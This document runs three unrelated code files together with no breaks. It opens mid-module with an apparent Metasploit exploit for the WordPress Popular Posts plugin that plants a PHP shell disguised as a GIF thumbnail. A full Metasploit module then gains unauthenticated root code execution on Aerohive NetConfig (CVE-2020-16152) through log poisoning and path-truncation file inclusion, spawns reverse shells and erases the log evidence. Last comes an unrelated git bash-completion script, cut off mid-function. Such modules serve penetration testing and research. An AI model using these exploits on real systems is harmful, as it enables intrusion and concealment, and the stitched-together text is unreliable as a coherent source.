== 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend

#!bash # # bash completion support for core Git. # # Copyright (C) 2006,2007 Shawn O. Pearce <spearce@spearce.org> # Conceptually based on gitcompletion (http://gitweb.hawaga.org.uk/). # Distributed under the GNU General Public License, version 2.0. # # The contained completion routines provide support for completing: # # *) local and remote branch names # *) local and remote tag names # *) .git/remotes file names # *) git 'subcommands' # *) tree paths within 'ref:path/to/file' expressions # *) common --long-options # # To use these routines: # # 1) Copy this file to somewhere (e.g. ~/.git-completion.sh). # 2) Added the following line to your .bashrc: # source ~/.git-completion.sh # # 3) Consider changing your PS1 to also show the current branch: # PS1='[\u@\h \W$(__git_ps1 " (%s)")]\$ ' # # The argument to __git_ps1 will be displayed only if you # are currently in a git repository. The %s token will be # the name of the current branch. # # In addition, if you set GIT_PS1_SHOWDIRTYSTATE to a nonempty # value, unstaged (*) and staged (+) changes will be shown next # to the branch name. You can configure this per-repository # with the bash.showDirtyState variable, which defaults to true # once GIT_PS1_SHOWDIRTYSTATE is enabled. # # You can also see if currently something is stashed, by setting # GIT_PS1_SHOWSTASHSTATE to a nonempty value. If something is stashed, # then a '$' will be shown next to the branch name. # # If you would like to see if there're untracked files, then you can # set GIT_PS1_SHOWUNTRACKEDFILES to a nonempty value. If there're # untracked files, then a '%' will be shown next to the branch name. # # If you would like to see the difference between HEAD and its # upstream, set GIT_PS1_SHOWUPSTREAM="auto". A "<" indicates # you are behind, ">" indicates you are ahead, and "<>" # indicates you have diverged. You can further control # behaviour by setting GIT_PS1_SHOWUPSTREAM to a space-separated # list of values: # verbose show number of commits ahead/behind (+/-) upstream # legacy don't use the '--count' option available in recent # versions of git-rev-list # git always compare HEAD to @{upstream} # svn always compare HEAD to your SVN upstream # By default, __git_ps1 will compare HEAD to your SVN upstream # if it can find one, or @{upstream} otherwise. Once you have # set GIT_PS1_SHOWUPSTREAM, you can override it on a # per-repository basis by setting the bash.showUpstream config # variable. # # # To submit patches: # # *) Read Documentation/SubmittingPatches # *) Send all patches to the current maintainer: # # "Shawn O. Pearce" <spearce@spearce.org> # # *) Always CC the Git mailing list: # # git@vger.kernel.org # case "$COMP_WORDBREAKS" in *:*) : great ;; *) COMP_WORDBREAKS="$COMP_WORDBREAKS:" esac # __gitdir accepts 0 or 1 arguments (i.e., location) # returns location of .git repo __gitdir () { if [ -z "${1-}" ]; then if [ -n "${__git_dir-}" ]; then echo "$__git_dir" elif [ -d .git ]; then echo .git else git rev-parse --git-dir 2>/dev/null fi elif [ -d "$1/.git" ]; then echo "$1/.git" else echo "$1" fi } # stores the divergence from upstream in $p # used by GIT_PS1_SHOWUPSTREAM __git_ps1_show_upstream () { local key value local svn_remote=() svn_url_pattern count n local upstream=git legacy="" verbose="" # get some config options from git-config while read key value; do case "$key" in bash.showupstream) GIT_PS1_SHOWUPSTREAM="$value" if [[ -z "${GIT_PS1_SHOWUPSTREAM}" ]]; then p="" return fi ;; svn-remote.*.url) svn_remote[ $((${#svn_remote[@]} + 1)) ]="$value" svn_url_pattern+="\\|$value" upstream=svn+git # default upstream is SVN if available, else git ;; esac done < <(git config -z --get-regexp '^(svn-remote\..*\.url|bash\.showupstream)$' 2>/dev/null | tr '\0\n' '\n ') # parse configuration values for option in ${GIT_PS1_SHOWUPSTREAM}; do case "$option" in git|svn) upstream="$option" ;; verbose) verbose=1 ;; legacy) legacy=1 ;; esac done # Find our upstream case "$upstream" in git) upstream="@{upstream}" ;; svn*) # get the upstream from the "git-svn-id: ..." in a commit message # (git-svn uses essentially the same procedure internally) local svn_upstream=($(git log --first-parent -1 \ --grep="^git-svn-id: \(${svn_url_pattern:2}\)" 2>/dev/null)) if [[ 0 -ne ${#svn_upstream[@]} ]]; then svn_upstream=${svn_upstream[ ${#svn_upstream[@]} - 2 ]} svn_upstream=${svn_upstream%@*} for ((n=1; "$n" <= "${#svn_remote[@]}"; ++n)); do svn_upstream=${svn_upstream#${svn_remote[$n]}} done if [[ -z "$svn_upstream" ]]; then # default branch name for checkouts with no layout: upstream=${GIT_SVN_ID:-git-svn} else upstream=${svn_upstream#/} fi elif [[ "svn+git" = "$upstream" ]]; then upstream="@{upstream}" fi ;; esac # Find how many commits we are ahead/behind our upstream if [[ -z "$legacy" ]]; then count="$(git rev-list --count --left-right \ "$upstream"...HEAD 2>/dev/null)" else # produce equivalent output to --count for older versions of git local commits if commits="$(git rev-list --left-right "$upstream"...HEAD 2>/dev/null)" then local commit behind=0 ahead=0 for commit in $commits do case "$commit" in "<"*) let ++behind ;; *) let ++ahead ;; esac done count="$behind $ahead" else count="" fi fi # calculate the result if [[ -z "$verbose" ]]; then case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p="=" ;; "0 "*) # ahead of upstream p=">" ;; *" 0") # behind upstream p="<" ;; *) # diverged from upstream p="<>" ;; esac else case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p=" u=" ;; "0 "*) # ahead of upstream p=" u+${count#0 }" ;; *" 0") # behind upstream p=" u-${count% 0}" ;; *) # diverged from upstream p=" u+${count#* }-${count% *}" ;; esac fi } # __git_ps1 accepts 0 or 1 arguments (i.e., format string) # returns text to add to bash PS1 prompt (includes branch name) __git_ps1 () { local g="$(__gitdir)" if [ -n "$g" ]; then local r="" local b="" if [ -f "$g/rebase-merge/interactive" ]; then r="|REBASE-i" b="$(cat "$g/rebase-merge/head-name")" elif [ -d "$g/rebase-merge" ]; then r="|REBASE-m" b="$(cat "$g/rebase-merge/head-name")" else if [ -d "$g/rebase-apply" ]; then if [ -f "$g/rebase-apply/rebasing" ]; then r="|REBASE" elif [ -f "$g/rebase-apply/applying" ]; then r="|AM" else r="|AM/REBASE" fi elif [ -f "$g/MERGE_HEAD" ]; then r="|MERGING" elif [ -f "$g/BISECT_LOG" ]; then r="|BISECTING" fi b="$(git symbolic-ref HEAD 2>/dev/null)" || { b="$( case "${GIT_PS1_DESCRIBE_STYLE-}" in (contains) git describe --contains HEAD ;; (branch) git describe --contains --all HEAD ;; (describe) git describe HEAD ;; (* | default) git describe --exact-match HEAD ;; esac 2>/dev/null)" || b="$(cut -c1-7 "$g/HEAD" 2>/dev/null)..." || b="unknown" b="($b)" } fi local w="" local i="" local s="" local u="" local c="" local p="" if [ "true" = "$(git rev-parse --is-inside-git-dir 2>/dev/null)" ]; then if [ "true" = "$(git rev-parse --is-bare-repository 2>/dev/null)" ]; then c="BARE:" else b="GIT_DIR!" fi elif [ "true" = "$(git rev-parse --is-inside-work-tree 2>/dev/null)" ]; then if [ -n "${GIT_PS1_SHOWDIRTYSTATE-}" ]; then if [ "$(git config --bool bash.showDirtyState)" != "false" ]; then git diff --no-ext-diff --quiet --exit-code || w="*" if git rev-parse --quiet --verify HEAD >/dev/null; then git diff-index --cached --quiet HEAD -- || i="+" else i="#" fi fi fi if [ -n "${GIT_PS1_SHOWSTASHSTATE-}" ]; then git rev-parse --verify refs/stash >/dev/null 2>&1 && s="$" fi if [ -n "${GIT_PS1_SHOWUNTRACKEDFILES-}" ]; then if [ -n "$(git ls-files --others --exclude-standard)" ]; then u="%" fi fi if [ -n "${GIT_PS1_SHOWUPSTREAM-}" ]; then __git_ps1_show_upstream fi fi local f="$w$i$s$u" printf "${1:- (%s)}" "$c${b##refs/heads/}${f:+ $f}$r$p" fi } # __gitcomp_1 requires 2 arguments __gitcomp_1 () { local c IFS=' '$'\t'$'\n' for c in $1; do case "$c$2" in --*=*) printf %s$'\n' "$c$2" ;; *.) printf %s$'\n' "$c$2" ;; *) printf %s$'\n' "$c$2 " ;; esac done } # __gitcomp accepts 1, 2, 3, or 4 arguments # generates completion reply with compgen __gitcomp () { local cur="${COMP_WORDS[COMP_CWORD]}" if [ $# -gt 2 ]; then cur="$3" fi case "$cur" in --*=) COMPREPLY=() ;; *) local IFS=$'\n' COMPREPLY=($(compgen -P "${2-}" \ -W "$(__gitcomp_1 "${1-}" "${4-}")" \ -- "$cur")) ;; esac } # __git_heads accepts 0 or 1 arguments (to pass to __gitdir) __git_heads () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/heads return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_tags accepts 0 or 1 arguments (to pass to __gitdir) __git_tags () { local cmd i is_hash=y dir="$(__gitdir "${1-}")" if [ -d "$dir" ]; then git --git-dir="$dir" for-each-ref --format='%(refname:short)' \ refs/tags return fi for i in $(git ls-remote "${1-}" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs accepts 0 or 1 arguments (to pass to __gitdir) __git_refs () { local i is_hash=y dir="$(__gitdir "${1-}")" local cur="${COMP_WORDS[COMP_CWORD]}" format refs if [ -d "$dir" ]; then case "$cur" in refs|refs/*) format="refname" refs="${cur%/*}" ;; *) for i in HEAD FETCH_HEAD ORIG_HEAD MERGE_HEAD; do if [ -e "$dir/$i" ]; then echo $i; fi done format="refname:short" refs="refs/tags refs/heads refs/remotes" ;; esac git --git-dir="$dir" for-each-ref --format="%($format)" \ $refs return fi for i in $(git ls-remote "$dir" 2>/dev/null); do case "$is_hash,$i" in y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y; echo "${i#refs/tags/}" ;; n,refs/heads/*) is_hash=y; echo "${i#refs/heads/}" ;; n,refs/remotes/*) is_hash=y; echo "${i#refs/remotes/}" ;; n,*) is_hash=y; echo "$i" ;; esac done } # __git_refs2 requires 1 argument (to pass to __git_refs) __git_refs2 () { local i for i in $(__git_refs "$1"); do echo "$i:$i" done } # __git_refs_remotes requires 1 argument (to pass to ls-remote) __git_refs_remotes () { local cmd i is_hash=y for i in $(git ls-remote "$1" 2>/dev/null); do case "$is_hash,$i" in n,refs/heads/*) is_hash=y echo "$i:refs/remotes/$1/${i#refs/heads/}" ;; y,*) is_hash=n ;; n,*^{}) is_hash=y ;; n,refs/tags/*) is_hash=y;; n,*) is_hash=y; ;; esac done } __git_remotes () { local i ngoff IFS=$'\n' d="$(__gitdir)" shopt -q nullglob || ngoff=1 shopt -s nullglob for i in "$d/remotes"/*; do echo ${i#$d/remotes/} done [ "$ngoff" ] && shopt -u nullglob for i in $(git --git-dir="$d" config --get-regexp 'remote\..*\.url' 2>/dev/null); do i="${i#remote.}" echo "${i/.url*/}" done } __git_list_merge_strategies () { git merge -s help 2>&1 | sed -n -e '/[Aa]vailable strategies are: /,/^$/{ s/\.$// s/.*:// s/^[ ]*// s/[ ]*$// p }' } __git_merge_strategies= # 'git merge -s help' (and thus detection of the merge strategy # list) fails, unfortunately, if run outside of any git working # tree. __git_merge_strategies is set to the empty string in # that case, and the detection will be repeated the next time it # is needed. __git_compute_merge_strategies () { : ${__git_merge_strategies:=$(__git_list_merge_strategies)} } __git_complete_file () { local pfx ls ref cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in ?*:*) ref="${cur%%:*}" cur="${cur#*:}" case "$cur" in ?*/*) pfx="${cur%/*}" cur="${cur##*/}" ls="$ref:$pfx" pfx="$pfx/" ;; *) ls="$ref" ;; esac case "$COMP_WORDBREAKS" in *:*) : great ;; *) pfx="$ref:$pfx" ;; esac local IFS=$'\n' COMPREPLY=($(compgen -P "$pfx" \ -W "$(git --git-dir="$(__gitdir)" ls-tree "$ls" \ | sed '/^100... blob /{ s,^.* ,, s,$, , } /^120000 blob /{ s,^.* ,, s,$, , } /^040000 tree /{ s,^.* ,, s,$,/, } s/^.* //')" \ -- "$cur")) ;; *) __gitcomp "$(__git_refs)" ;; esac } __git_complete_revlist () { local pfx cur="${COMP_WORDS[COMP_CWORD]}" case "$cur" in *...*) pfx="${cur%...*}..." 